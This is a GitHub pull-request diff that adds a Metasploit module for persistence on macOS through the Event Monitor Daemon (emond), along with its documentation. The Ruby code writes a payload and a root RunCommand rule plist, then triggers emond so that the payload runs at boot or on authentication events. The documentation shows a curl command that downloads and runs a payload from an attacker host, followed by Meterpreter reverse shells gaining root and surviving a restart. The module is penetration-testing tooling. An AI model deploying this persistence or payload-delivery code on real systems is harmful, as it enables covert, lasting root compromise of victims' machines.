Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
138 changes: 138 additions & 0 deletions documentation/modules/exploit/osx/persistence/emond.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
## Vulnerable Application

This module provides a persistent boot payload by installing a rule for the
Event Monitor Daemon (emond). Emond "accepts events from various services, runs
them through a simple rules engine, and takes action", and is launched by launchd
whenever a file exists in its queue directory (`/private/var/db/emondClients`).

This module drops a payload, writes a rule plist to `/etc/emond.d/rules/` which
executes the payload via a `RunCommand` action, and drops a file in the queue
directory so launchd will start emond. Rules with the `startup` event type execute
as soon as emond loads the rules, and on every boot, as root.

Emond was introduced in OS X 10.7, and removed in macOS 13 (Ventura), making this
technique viable on OS X 10.7 through macOS 12 (Monterey). Root privileges are
required to write to the rules and queue directories.

## Verification Steps

1. Start msfconsole
1. Get a root shell on macOS
1. Do: `use exploit/osx/persistence/emond`
1. Do: `set session <session>`
1. Do: `run`
1. You should get a new shell as root.

## Options

### EVENT_TYPE

Emond event type which triggers the payload. `startup` executes when emond starts
(including at boot), `auth.success`/`auth.failure` execute on authentication events.
Defaults to `startup`.

### DELAY

Time in seconds to delay payload execution. Useful at boot when networking may not
be available yet. Defaults to `10`.

## Scenarios

### OS X 11.7.11 (Big Sur)

Original Shell

```
resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1
session => -1
resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083
srvport => 8083
resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o
uripath => o
resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447
lport => 4447
resource (/home/h00die/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4447

[*] Using URL: http://1.1.1.1:8083/o
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output 2Q2WiaWL http://1.1.1.1:8083/o; chmod +x 2Q2WiaWL; ./2Q2WiaWL& disown
msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49361) at 2026-08-08 12:42:55 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : h00dies-MacBook-Pro.local
OS : macOS Big Sur (macOS 11.7.11)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter > background
[*] Backgrounding session 1...
```

Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/emond
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf exploit(osx/persistence/emond) > set WritableDir /Users/h00die/Desktop
WritableDir => /Users/h00die/Desktop
msf exploit(osx/persistence/emond) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(osx/persistence/emond) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. emond is installed, and /etc/emond.d/rules and /private/var/db/emondClients are writable
[*] Writing payload to /Users/h00die/Desktop/.LHWTfZao...
[+] Payload stored to /Users/h00die/Desktop/.LHWTfZao
[+] Emond rule added: /etc/emond.d/rules/.LHWTfZao.plist
[+] Emond rule installed successfully.
[+] Emond queue file added: /private/var/db/emondClients/FCKNCxmD
[*] Emond will launch, and the payload will execute on the next startup event
[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260808.4351/
```

Restart

```
msf exploit(osx/persistence/emond) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died

[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(29648 bytes)
[*] Sending stage (874608 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49162) at 2026-08-08 12:45:45 -0400

msf exploit(osx/persistence/emond) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : h00dies-MacBook-Pro.local
OS : macOS Big Sur (macOS 11.7.11)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter >
```
212 changes: 212 additions & 0 deletions modules/exploits/osx/persistence/emond.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,212 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mac OS X Emond Persistence',
'Description' => %q{
This module provides a persistent boot payload by installing a rule for the
Event Monitor Daemon (emond). Emond "accepts events from various services, runs
them through a simple rules engine, and takes action", and is launched by launchd
whenever a file exists in its queue directory (/private/var/db/emondClients).

This module drops a payload, writes a rule plist to /etc/emond.d/rules/ which
executes the payload via a RunCommand action, and drops a file in the queue
directory so launchd will start emond. Rules with the startup event type execute
as soon as emond loads the rules, and on every boot, as root.

Emond was introduced in OS X 10.7, and removed in macOS 13 (Ventura), making this
technique viable on OS X 10.7 through macOS 12 (Monterey). Root privileges are
required to write to the rules and queue directories.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Ross (xorrior)', # research
'h00die' # msf module
],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }]
],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2016-04-07', # https://magnusviri.com/what-is-emond.html publish date
'Privileged' => true,
'References' => [
['URL', 'https://xorrior.com/emond-persistence/'],
['URL', 'https://magnusviri.com/what-is-emond.html'],
['URL', 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'],
['ATT&CK', Mitre::Attack::Technique::T1546_014_EMOND]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptEnum.new('EVENT_TYPE', [true, 'Emond event type which triggers the payload.', 'startup', ['startup', 'auth.success', 'auth.failure']]),
OptInt.new('DELAY', [true, 'Time in seconds to delay payload execution.', 10])
])
end

def check
return CheckCode::Safe('/sbin/emond not found. emond was removed in macOS 13 (Ventura)') unless file?('/sbin/emond')
return CheckCode::Safe("#{rules_dir} not found") unless directory?(rules_dir)
return CheckCode::Safe("#{queue_dir} not found") unless directory?(queue_dir)
return CheckCode::Safe('Session is not running as root, unable to write to emond directories') unless is_root?
return CheckCode::Safe("#{rules_dir} not writable") unless writable?(rules_dir)
return CheckCode::Safe("#{queue_dir} not writable") unless writable?(queue_dir)
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)

print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

CheckCode::Appears("emond is installed, and #{rules_dir} and #{queue_dir} are writable")
end

def command
delay? ? '/bin/sh' : payload_path
end

def arguments
return [] unless delay?

['-c', "sleep #{datastore['DELAY']}; #{payload_path}"]
end

def check_for_duplicate_entry
if file?(rule_path)
fail_with 'FileError', "Duplicate emond rule plist already exists at #{rule_path}"
end
end

def delay?
datastore['DELAY'] > 0
end

def label
File.basename(payload_path)
end

def queue_dir
'/private/var/db/emondClients'
end

def queue_path
@queue_path ||= "#{queue_dir}/#{Rex::Text.rand_text_alpha(8)}"
end

def rules_dir
'/etc/emond.d/rules'
end

def rule_path
@rule_path ||= "#{rules_dir}/#{label}.plist"
end

def payload_path
@payload_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}")
end

def install_persistence
check_for_duplicate_entry

payload_bin = generate_payload_exe

write_payload(payload_bin)
add_emond_rule
trigger_emond
end

def add_emond_rule
rule = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<key>name</key>
<string>#{label}</string>
<key>enabled</key>
<true/>
<key>eventTypes</key>
<array>
<string>#{datastore['EVENT_TYPE']}</string>
</array>
<key>actions</key>
<array>
<dict>
<key>type</key>
<string>RunCommand</string>
<key>command</key>
<string>#{command}</string>
<key>arguments</key>
<array>
#{arguments.map { |arg| " <string>#{arg}</string>\n" }.join}
</array>
<key>user</key>
<string>root</string>
<key>group</key>
<string>wheel</string>
</dict>
</array>
</dict>
</array>
</plist>
EOF

if write_file(rule_path, rule)
print_good("Emond rule added: #{rule_path}")
@clean_up_rc << "rm #{rule_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing emond rule to #{rule_path}")
end

print_good('Emond rule installed successfully.')
end

def trigger_emond
# emond does not reload rules while running, so kill any existing instance first.
# launchd will restart it once a file exists in the queue directory.
cmd_exec('killall emond 2>/dev/null') unless datastore['EVENT_TYPE'] == 'startup'

if write_file(queue_path, '')
print_good("Emond queue file added: #{queue_path}")
@clean_up_rc << "rm #{queue_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing emond queue file to #{queue_path}")
end

print_status("Emond will launch, and the payload will execute on the next #{datastore['EVENT_TYPE']} event")
end

def write_payload(exe)
print_status("Writing payload to #{payload_path}...")
mkdir(File.dirname(payload_path), cleanup: false) unless directory?(File.dirname(payload_path))

if write_file(payload_path, exe)
print_good("Payload stored to #{payload_path}")
chmod(payload_path, 0o755)
@clean_up_rc << "rm #{payload_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing payload to #{payload_path}")
end
end
end
Loading